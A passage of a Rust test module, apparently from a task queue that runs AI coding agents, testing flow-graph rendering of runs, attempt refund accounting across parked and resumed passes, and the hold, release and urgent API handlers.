16856            node: crate::queue::CHAT_NODE.to_owned(),
16857        };
16858        let f = flow_for(&t, &[]);
16859        assert_eq!(f.nodes[0].key, "chat");
16860        assert_eq!(f.nodes[0].kind, "chat");
16861        assert_eq!(
16862            f.nodes[0].label,
16863            format!("Chat {}", crate::queue::short("a b/c"))
16864        );
16865        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16866        assert_eq!(f.nodes[1].key, "start");
16867        assert_eq!(
16868            f.edges[0],
16869            FlowEdge {
16870                from: "chat".to_owned(),
16871                to: "start".to_owned(),
16872                label: "queued from chat".to_owned(),
16873                attempt: AttemptCost::None,
16874            }
16875        );
16876    }
16877
16878    #[test]
16879    fn flow_has_no_chat_box_for_other_sources() {
16880        for source in [
16881            Source::Human,
16882            Source::Issue {
16883                number: 3,
16884                repo: "o/r".to_owned(),
16885            },
16886            Source::Agent {
16887                run: "20260904-014455-ab12".to_owned(),
16888                node: "implement".to_owned(),
16889            },
16890        ] {
16891            let mut t = flow_task(&[]);
16892            t.source = source;
16893            let f = flow_for(&t, &[]);
16894            assert_eq!(f.nodes[0].key, "start");
16895            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16896            assert!(f.edges.iter().all(|e| e.from != "chat"));
16897        }
16898    }
16899
16900    const FA: &str = "20260902-140501-aaaa";
16901    const FB: &str = "20260902-140502-bbbb";
16902
16903    #[test]
16904    fn flow_follows_blocked_retry_merged_to_done() {
16905        let mut t = flow_task(&[FA, FB]);
16906        t.status = TaskStatus::Done;
16907        let f = flow_for(
16908            &t,
16909            &[
16910                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16911                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16912            ],
16913        );
16914        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16915        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16916        assert_eq!(f.edges.len(), 3);
16917        assert_eq!(f.edges[0].label, "claimed");
16918        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16919        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16920        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16921        assert_eq!(
16922            f.nodes[2].href.as_deref(),
16923            Some("#/runs/20260902-140502-bbbb")
16924        );
16925        assert!(f.nodes[2].decided);
16926    }
16927
16928    #[test]
16929    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16930        let quota = || {
16931            flow_run(RunStatus::Stalled, |s| {
16932                s.quota.push(crate::run::QuotaLoss {
16933                    cause: crate::agent::QuotaCause::UsageLimit,
16934                    agent: String::new(),
16935                    seat: "judge-1".to_owned(),
16936                    node: "judge".to_owned(),
16937                    at: Timestamp::now(),
16938                    reset: None,
16939                })
16940            })
16941        };
16942        let mut t = flow_task(&[FA, FA]);
16943        t.status = TaskStatus::Queued;
16944        let f = flow_for(&t, &[(FA, Some(quota()))]);
16945        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16946        assert_eq!(f.nodes[1].note, Some("interrupted"));
16947        assert_eq!(
16948            f.nodes[1].status, None,
16949            "no outcome copied onto an earlier pass"
16950        );
16951        assert_eq!(
16952            f.edges[1].attempt,
16953            AttemptCost::Unknown,
16954            "a resume does not prove the earlier pass was refunded"
16955        );
16956        assert!(f.edges[1].label.contains("resume the same run"));
16957        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16958        assert_eq!(
16959            f.edges[2].label,
16960            "stalled after a resume, refund unknown \u{2192} queued"
16961        );
16962        assert!(!f.nodes[2].decided, "a stall is not a decision");
16963        assert_eq!(f.nodes[2].note, Some("no verdict"));
16964    }
16965
16966    #[test]
16967    fn flow_single_pass_quota_stall_is_refunded() {
16968        let t = flow_task(&[FA]);
16969        let f = flow_for(
16970            &t,
16971            &[(
16972                FA,
16973                Some(flow_run(RunStatus::Stalled, |s| {
16974                    s.quota.push(crate::run::QuotaLoss {
16975                        cause: crate::agent::QuotaCause::UsageLimit,
16976                        agent: String::new(),
16977                        seat: "judge-1".to_owned(),
16978                        node: "judge".to_owned(),
16979                        at: Timestamp::now(),
16980                        reset: None,
16981                    })
16982                })),
16983            )],
16984        );
16985        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16986    }
16987
16988    #[test]
16989    fn flow_parked_refunds_and_stall_without_quota_spends() {
16990        let mut t = flow_task(&[FA]);
16991        t.status = TaskStatus::Queued;
16992        let f = flow_for(
16993            &t,
16994            &[(
16995                FA,
16996                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16997            )],
16998        );
16999        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17000        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17001        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17002        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17003        assert!(!f.nodes[1].decided);
17004    }
17005
17006    #[test]
17007    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17008        let t = flow_task(&[FA, FB]);
17009        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17010        assert_eq!(f.nodes[1].note, Some("unreadable"));
17011        assert!(!f.nodes[1].readable);
17012        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17013        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17014    }
17015
17016    #[test]
17017    fn flow_names_the_branch_of_a_review_only_run() {
17018        let t = flow_task(&[FA]);
17019        let f = flow_for(
17020            &t,
17021            &[(
17022                FA,
17023                Some(flow_run(RunStatus::Merged, |s| {
17024                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17025                })),
17026            )],
17027        );
17028        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17029        assert_eq!(
17030            f.nodes[1].detail.as_deref(),
17031            Some("review-only run of branch magi/x/A")
17032        );
17033    }
17034
17035    #[test]
17036    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17037        let mut t = flow_task(&[FA]);
17038        t.status = TaskStatus::Held;
17039        let pr = crate::run::PrRecord {
17040            url: "https://example.test/pr/1".to_owned(),
17041            number: 1,
17042            state: "open".to_owned(),
17043            checks: "green".to_owned(),
17044            round: 0,
17045            rounds: 3,
17046            red_at_merge: Vec::new(),
17047        };
17048        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17049        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17050        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17051        t.status = TaskStatus::Done;
17052        let f = flow_for(&t, &[(FA, Some(blocked))]);
17053        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17054    }
17055
17056    #[test]
17057    fn flow_with_no_runs_goes_from_queued_to_queued() {
17058        let t = flow_task(&[]);
17059        let f = flow_for(&t, &[]);
17060        assert_eq!(f.nodes.len(), 2);
17061        assert_eq!(f.edges.len(), 1);
17062        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17063        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17064    }
17065
17066    /// A run parked mid-flight keeps a non-terminal status; the page must
17067    /// still say why it stopped and that the attempt came back.
17068    #[test]
17069    fn a_parked_non_terminal_run_is_explained_as_parked() {
17070        let mut s = RunState::new(
17071            PathBuf::from("/repo/magi"),
17072            "main".to_owned(),
17073            "0123456789abcdef".to_owned(),
17074            "Do it".to_owned(),
17075            Config::default(),
17076        );
17077        s.status = RunStatus::Implementing;
17078        s.parked = true;
17079        let task = Task::new(
17080            "t".to_owned(),
17081            "Do it".to_owned(),
17082            PathBuf::from("/repo/magi"),
17083            Source::Human,
17084        );
17085        let v = task_run_view(
17086            "20260902-140501-aaaa",
17087            Some(&s),
17088            RunSlot {
17089                n: 1,
17090                resumed: false,
17091                resumed_later: None,
17092                prior: None,
17093                last: true,
17094                ..RunSlot::default()
17095            },
17096            &task,
17097        );
17098        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17099    }
17100
17101    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17102        let mut s = flow_run(RunStatus::Implementing, edit);
17103        s.parked = false;
17104        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17105        task_run_view(
17106            "20260902-140501-aaaa",
17107            Some(&s),
17108            RunSlot {
17109                n: 1,
17110                resumed: false,
17111                resumed_later: Some(2),
17112                prior: None,
17113                last: false,
17114                ..RunSlot::default()
17115            },
17116            &task,
17117        )
17118    }
17119
17120    #[test]
17121    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17122        let v = earlier_pass_view(|_| {});
17123        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17124        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17125        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17126        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17127        assert_eq!(v.exit, RunExit::Interrupted);
17128        assert_eq!(v.attempt, AttemptCost::Unknown);
17129    }
17130
17131    #[test]
17132    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17133        let v = earlier_pass_view(|s| {
17134            s.quota.push(crate::run::QuotaLoss {
17135                cause: crate::agent::QuotaCause::UsageLimit,
17136                agent: String::new(),
17137                seat: "judge-1".to_owned(),
17138                node: "judge".to_owned(),
17139                at: Timestamp::now(),
17140                reset: None,
17141            });
17142        });
17143        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17144        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17145        assert_eq!(v.attempt, AttemptCost::Unknown);
17146    }
17147
17148    #[test]
17149    fn the_current_pass_states_its_recorded_cause_and_cost() {
17150        let slot = || RunSlot {
17151            n: 1,
17152            resumed: false,
17153            resumed_later: None,
17154            prior: None,
17155            last: true,
17156            ..RunSlot::default()
17157        };
17158        let task = flow_task(&["20260902-140501-aaaa"]);
17159        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17160        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17161        assert_eq!(
17162            (v.exit, v.attempt),
17163            (RunExit::Parked, AttemptCost::Refunded)
17164        );
17165        let spent = flow_run(RunStatus::Blocked, |_| {});
17166        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17167        assert_eq!(v.attempt, AttemptCost::Spent);
17168        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17169    }
17170
17171    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17172        crate::run::RunPass {
17173            index,
17174            started_at: Timestamp::now(),
17175            resumed: index > 0,
17176            ended_at: end.as_ref().map(|_| Timestamp::now()),
17177            end,
17178            task_entry: true,
17179        }
17180    }
17181
17182    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17183        Some(crate::run::PassEnd::Parked { cause })
17184    }
17185
17186    fn upgrade_cause() -> crate::run::ParkCause {
17187        crate::run::ParkCause::Upgrade {
17188            from: "0.121.0".to_owned(),
17189            to: Some("0.121.1".to_owned()),
17190        }
17191    }
17192
17193    fn settled_pass(
17194        run: &str,
17195        index: usize,
17196        cost: crate::queue::PassCost,
17197    ) -> crate::queue::TaskPass {
17198        crate::queue::TaskPass {
17199            run: run.to_owned(),
17200            pass_index: index,
17201            started_at: None,
17202            cost,
17203            attempts_after: 1,
17204            settled_at: Timestamp::now(),
17205            parked: None,
17206        }
17207    }
17208
17209    const RUN_X: &str = "20261011-223708-4334";
17210
17211    #[test]
17212    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17213        use crate::queue::PassCost;
17214        let run = flow_run(RunStatus::Implementing, |s| {
17215            s.passes = vec![
17216                recorded_pass(0, parked(upgrade_cause())),
17217                recorded_pass(1, None),
17218            ];
17219        });
17220        let mut task = flow_task(&[RUN_X, RUN_X]);
17221        task.attempts = 1;
17222        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17223        let h = task_history(&task, |_| Some(run.clone()));
17224        assert_eq!(h.len(), 2);
17225        assert_eq!(h[0].kind, "competition");
17226        assert_eq!(h[1].kind, "resume");
17227        assert_eq!(
17228            (h[0].exit, h[0].attempt),
17229            (RunExit::Parked, AttemptCost::Refunded)
17230        );
17231        assert!(
17232            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17233            "{}",
17234            h[0].outcome
17235        );
17236        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17237        assert!(
17238            h[0].outcome.contains("pass #2 resumed the same run"),
17239            "{}",
17240            h[0].outcome
17241        );
17242        assert!(
17243            h[0].outcome.contains("pass 1 of 2 over run"),
17244            "{}",
17245            h[0].outcome
17246        );
17247        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17248        assert_eq!(
17249            h[0].exit_label,
17250            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17251        );
17252        let f = task_flow(&task, &h, 2, None);
17253        // Two passes of one run, one of two attempts consumed.
17254        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17255        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17256        assert!(
17257            f.edges[1].label.contains("upgrade 0.121.0"),
17258            "{}",
17259            f.edges[1].label
17260        );
17261        assert!(
17262            f.edges[1].label.contains("resume the same run"),
17263            "{}",
17264            f.edges[1].label
17265        );
17266        assert_eq!(f.nodes[1].note, Some("parked"));
17267    }
17268
17269    #[test]
17270    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17271        let mut a = flow_run(RunStatus::Implementing, |s| {
17272            s.passes = vec![
17273                recorded_pass(0, parked(upgrade_cause())),
17274                recorded_pass(1, None),
17275            ];
17276        });
17277        let mut b = flow_run(RunStatus::Failed, |s| {
17278            s.passes = vec![recorded_pass(0, None)];
17279        });
17280        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17281        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17282        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17283        let mut task = flow_task(&[]);
17284        task.start("a".into());
17285        task.start("b".into());
17286        task.start("a".into());
17287        assert_eq!(task.runs, ["b", "a"]);
17288        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17289        let h = task_history(&task, |id| {
17290            Some(if id == "a" { a.clone() } else { b.clone() })
17291        });
17292        assert_eq!(
17293            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17294            ["a", "b", "a"]
17295        );
17296        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17297        assert!(h[0].outcome.contains("upgrade"));
17298        assert_eq!(h[2].kind, "resume");
17299        assert!(h[2].pass.is_some());
17300        // The old repeated-id format must show the same recorded passes.
17301        task.runs = vec!["a".into(), "b".into(), "a".into()];
17302        let old = task_history(&task, |id| {
17303            Some(if id == "a" { a.clone() } else { b.clone() })
17304        });
17305        assert_eq!(
17306            old.iter()
17307                .map(|v| (&v.id, &v.kind, v.attempt))
17308                .collect::<Vec<_>>(),
17309            h.iter()
17310                .map(|v| (&v.id, &v.kind, v.attempt))
17311                .collect::<Vec<_>>()
17312        );
17313    }
17314
17315    #[test]
17316    fn an_upgrade_whose_target_was_not_known_says_so() {
17317        let run = flow_run(RunStatus::Implementing, |s| {
17318            s.passes = vec![
17319                recorded_pass(
17320                    0,
17321                    parked(crate::run::ParkCause::Upgrade {
17322                        from: "0.121.0".to_owned(),
17323                        to: None,
17324                    }),
17325                ),
17326                recorded_pass(1, None),
17327            ];
17328        });
17329        let task = flow_task(&[RUN_X, RUN_X]);
17330        let h = task_history(&task, |_| Some(run.clone()));
17331        assert!(
17332            h[0].outcome.contains("upgrade from 0.121.0"),
17333            "{}",
17334            h[0].outcome
17335        );
17336        // No settle record: the refund is not claimed.
17337        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17338    }
17339
17340    #[test]
17341    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17342        use crate::queue::PassCost;
17343        use crate::run::ParkCause;
17344        let run = flow_run(RunStatus::Implementing, |s| {
17345            s.passes = vec![
17346                recorded_pass(0, parked(upgrade_cause())),
17347                recorded_pass(
17348                    1,
17349                    parked(ParkCause::Interrupt {
17350                        reason: "task a1b2 asked to run first".to_owned(),
17351                    }),
17352                ),
17353                recorded_pass(2, parked(ParkCause::Operator)),
17354                recorded_pass(3, None),
17355            ];
17356        });
17357        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17358        task.attempts = 1;
17359        task.passes = (0..3)
17360            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17361            .collect();
17362        let h = task_history(&task, |_| Some(run.clone()));
17363        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17364        assert!(
17365            h[1].outcome.contains("task a1b2 asked to run first"),
17366            "{}",
17367            h[1].outcome
17368        );
17369        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17370        assert!(
17371            h[2].outcome.contains("operator asked the loop to park"),
17372            "{}",
17373            h[2].outcome
17374        );
17375        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17376        let f = task_flow(&task, &h, 2, None);
17377        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17378    }
17379
17380    #[test]
17381    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17382        let run = flow_run(RunStatus::Implementing, |s| {
17383            s.passes = vec![
17384                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17385                recorded_pass(1, None),
17386            ];
17387        });
17388        let task = flow_task(&[RUN_X, RUN_X]);
17389        let h = task_history(&task, |_| Some(run.clone()));
17390        assert_eq!(h[0].exit, RunExit::Interrupted);
17391        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17392        assert!(
17393            h[0].outcome.contains("without recording why"),
17394            "{}",
17395            h[0].outcome
17396        );
17397        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17398        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17399    }
17400
17401    #[test]
17402    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17403        use crate::queue::PassCost;
17404        // Three entries, but the run only began keeping passes at the last
17405        // two: the first is legacy and must not be given a cause.
17406        let run = flow_run(RunStatus::Implementing, |s| {
17407            s.passes = vec![
17408                recorded_pass(0, parked(upgrade_cause())),
17409                recorded_pass(1, None),
17410            ];
17411        });
17412        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17413        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17414        let h = task_history(&task, |_| Some(run.clone()));
17415        assert!(h[0].pass.is_none());
17416        assert_eq!(h[0].exit, RunExit::Interrupted);
17417        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17418        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17419        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17420        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17421        // A run with no passes at all is entirely unknown.
17422        let legacy = flow_run(RunStatus::Implementing, |_| {});
17423        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17424        assert!(h.iter().all(|v| v.pass.is_none()));
17425        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17426    }
17427
17428    #[test]
17429    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17430        use crate::queue::PassCost;
17431        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17432        // task. The two entries are passes 0 and 2.
17433        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17434        web.task_entry = false;
17435        let run = flow_run(RunStatus::Implementing, |s| {
17436            s.passes = vec![
17437                recorded_pass(0, parked(upgrade_cause())),
17438                web.clone(),
17439                recorded_pass(2, None),
17440            ];
17441        });
17442        let mut task = flow_task(&[RUN_X, RUN_X]);
17443        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17444        let h = task_history(&task, |_| Some(run.clone()));
17445        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17446        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17447
17448        // Legacy first entry, then a web resume that parked for an upgrade,
17449        // then the daemon's pass: the legacy entry must stay unknown.
17450        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17451        web0.task_entry = false;
17452        let run = flow_run(RunStatus::Implementing, |s| {
17453            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17454        });
17455        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17456        assert!(h[0].pass.is_none());
17457        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17458        assert!(h[1].pass.is_some());
17459    }
17460
17461    #[tokio::test]
17462    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17463        let dir = tempfile::tempdir().unwrap();
17464        let queue = Queue::at(dir.path().join("queue"));
17465        let ui = Arc::new(Ui::new(
17466            queue.clone(),
17467            Questions::at(dir.path().join("questions")),
17468            Talks::at(dir.path().join("talks")),
17469            dir.path().join("runs"),
17470            dir.path().to_path_buf(),
17471            dir.path().to_path_buf(),
17472        ));
17473        let mut t = Task::new(
17474            "recover".into(),
17475            "Inspect".into(),
17476            PathBuf::from("."),
17477            Source::Human,
17478        );
17479        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17480        t.start("run-A".into());
17481        t.release_operator("choice", Some("resume-question"));
17482        t.resume_override = Some(crate::queue::OperatorResume {
17483            question_id: "resume-question".into(),
17484            at: jiff::Timestamp::now(),
17485            conductor_rehold: None,
17486            forced: true,
17487            pinned_run: Some("run-A".into()),
17488        });
17489        t.hold_machine(Some("inspection pending".into()));
17490        t.edit("recover".into(), "Reuse approved PR head".into())
17491            .unwrap();
17492        queue.put(&mut t).unwrap();
17493        let mut cli = t.clone();
17494        cli.release_operator("cli", None);
17495        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17496        let reloaded = queue.get(&t.id).unwrap();
17497        assert_eq!(reply.task.status, TaskStatus::Queued);
17498        assert!(reloaded.resume_override.is_none());
17499        assert_eq!(reloaded.answers, t.answers);
17500        let mut web = reloaded.resumption.unwrap();
17501        let cli = cli.resumption.unwrap();
17502        assert_eq!(web.source, "web");
17503        web.source = cli.source.clone();
17504        web.at = cli.at;
17505        assert_eq!(web, cli);
17506    }
17507
17508    #[tokio::test]
17509    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17510        let f = Fixture::start().await;
17511        let queue = f.queue();
17512        let mut task = Task::new(
17513            "spent".to_owned(),
17514            "Try again".to_owned(),
17515            PathBuf::from("/repo/magi"),
17516            Source::Human,
17517        );
17518        task.start("20260902-140502-bbbb".to_owned());
17519        task.fail("agent gave up", 9);
17520        queue.put(&mut task).expect("file the task");
17521
17522        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17523        assert_eq!(held.status, 200);
17524        assert_eq!(held.json()["status_str"], "held");
17525
17526        let released = f
17527            .post(&format!("/api/queue/{}/release", task.id), None)
17528            .await;
17529        assert_eq!(released.status, 200);
17530        assert_eq!(released.json()["status_str"], "queued");
17531        assert_eq!(released.json()["resumption"]["source"], "web");
17532        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17533        let mut cli = task.clone();
17534        cli.release_operator("cli", None);
17535        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17536        let cli = cli.resumption.unwrap();
17537        assert_eq!(web.instruction, cli.instruction);
17538        assert_eq!(web.answers_through, cli.answers_through);
17539        assert_eq!(web.runs_through, cli.runs_through);
17540        assert_eq!(web.cleared_reason, cli.cleared_reason);
17541        assert_eq!(
17542            released.json()["attempts"],
17543            0,
17544            "release is a real second chance, not an instant re-hold"
17545        );
17546        assert_eq!(
17547            queue.get(&task.id).expect("reload").status,
17548            TaskStatus::Queued,
17549            "the change is on disk, not only in the reply"
17550        );
17551        assert!(
17552            !f.home
17553                .path()
17554                .join("queue")
17555                .join(format!("{}.lock", task.id))
17556                .exists(),
17557            "the claim the mutation took is released again"
17558        );
17559    }
17560
17561    #[tokio::test]
17562    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17563        let f = Fixture::start().await;
17564        let queue = f.queue();
17565        let mut task = Task::new(
17566            "busy".to_owned(),
17567            "Running right now".to_owned(),
17568            PathBuf::from("/repo/magi"),
17569            Source::Human,
17570        );
17571        queue.put(&mut task).expect("file the task");
17572        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17573
17574        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17575
17576        assert_eq!(res.status, 409);
17577        assert_eq!(
17578            queue.get(&task.id).expect("reload").status,
17579            TaskStatus::Queued,
17580            "the refused hold changed nothing"
17581        );
17582    }
17583
17584    #[tokio::test]
17585    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17586        let f = Fixture::start().await;
17587        let queue = f.queue();
17588        let mut task = Task::new(
17589            "waiting on the migration".to_owned(),
17590            "Do the thing".to_owned(),
17591            PathBuf::from("/repo/magi"),
17592            Source::Human,
17593        );
17594        queue.put(&mut task).expect("file the task");
17595
17596        let held = f
17597            .post(
17598                &format!("/api/queue/{}/hold", task.id),
17599                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17600            )
17601            .await;
17602        assert_eq!(held.status, 200, "{}", held.body);
17603        assert_eq!(held.json()["status_str"], "held");
17604        assert_eq!(
17605            held.json()["hold_reason"],
17606            "waiting for 20260101-000000-aaaa to land"
17607        );
17608
17609        let listed = f.get("/api/queue").await.json();
17610        assert_eq!(
17611            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17612            "the card reads the reason off the same list route"
17613        );
17614
17615        // A hold with no body at all must keep working - most holds have no
17616        // reason to give.
17617        let mut plain = Task::new(
17618            "no reason given".to_owned(),
17619            "Do another thing".to_owned(),
17620            PathBuf::from("/repo/magi"),
17621            Source::Human,
17622        );
17623        queue.put(&mut plain).expect("file the task");
17624        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17625        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17626        assert!(held_plain.json()["hold_reason"].is_null());
17627
17628        let released = f
17629            .post(&format!("/api/queue/{}/release", task.id), None)
17630            .await;
17631        assert_eq!(released.status, 200);
17632        assert!(
17633            released.json()["hold_reason"].is_null(),
17634            "a release must clear the reason so the next hold does not inherit it"
17635        );
17636    }
17637
17638    #[test]
17639    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17640        for urgent in [true, false] {
17641            let body: UrgentBody =
17642                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17643            assert_eq!(body.urgent, urgent);
17644        }
17645        for input in [
17646            r#"{}"#,
17647            r#"{"urgent":null}"#,
17648            r#"{"urgent":"true"}"#,
17649            r#"{"urgent":1}"#,
17650            r#"{"urgent":true,"extra":false}"#,
17651        ] {
17652            assert!(
17653                serde_json::from_str::<UrgentBody>(input).is_err(),
17654                "{input}"
17655            );
17656        }
17657    }
17658
17659    #[tokio::test]
17660    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17661        let home = TempDir::new().unwrap();
17662        let q = Queue::at(home.path().join("queue"));
17663        let ui = Arc::new(Ui::new(
17664            q.clone(),
17665            Questions::at(home.path().join("questions")),
17666            Talks::at(home.path().join("talks")),
17667            home.path().join("runs"),
17668            home.path().into(),
17669            home.path().into(),
17670        ));
17671        let mut task = Task::new(
17672            "urgent handler".into(),
17673            "keep".into(),
17674            home.path().into(),
17675            Source::Human,
17676        );
17677        for status in [TaskStatus::Queued, TaskStatus::Held] {
17678            task.status = status;
17679            q.put(&mut task).unwrap();
17680            for urgent in [true, true, false, false] {
17681                let saved = queue_urgent(
17682                    State(Arc::clone(&ui)),
17683                    Path(task.short().into()),
17684                    Ok(Json(UrgentBody { urgent })),
17685                )
17686                .await
17687                .unwrap();
17688                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17689                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17690            }
17691        }
17692        task.status = TaskStatus::Queued;
17693        q.put(&mut task).unwrap();
17694        let claim = q.claim(&task.id).unwrap();
17695        let error = queue_urgent(
17696            State(Arc::clone(&ui)),
17697            Path(task.id.clone()),
17698            Ok(Json(UrgentBody { urgent: true })),
17699        )
17700        .await
17701        .unwrap_err();
17702        assert_eq!(error.status, StatusCode::CONFLICT);
17703        assert!(error.message.contains("released"));
17704        drop(claim);
17705        for status in [
17706            TaskStatus::Running,
17707            TaskStatus::Done,
17708            TaskStatus::Failed,
17709            TaskStatus::Blocked,
17710            TaskStatus::Parked,
17711        ] {
17712            task.status = status;
17713            q.put(&mut task).unwrap();
17714            let error = queue_urgent(
17715                State(Arc::clone(&ui)),
17716                Path(task.id.clone()),
17717                Ok(Json(UrgentBody { urgent: false })),
17718            )
17719            .await
17720            .unwrap_err();
17721            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17722            assert!(error.message.contains(status.as_str()));
17723        }
17724    }
17725
17726    #[tokio::test]
17727    async fn urgent_api_updates_preserves_and_validates_tasks() {
17728        let f = Fixture::start().await;
17729        let q = f.queue();
17730        let mut t = Task::new(
17731            "urgent API".into(),
17732            "unchanged".into(),
17733            PathBuf::from("/repo/magi"),
17734            Source::Human,
17735        );
17736        t.attempts = 2;
17737        t.priority = 9;
17738        t.interrupt = true;
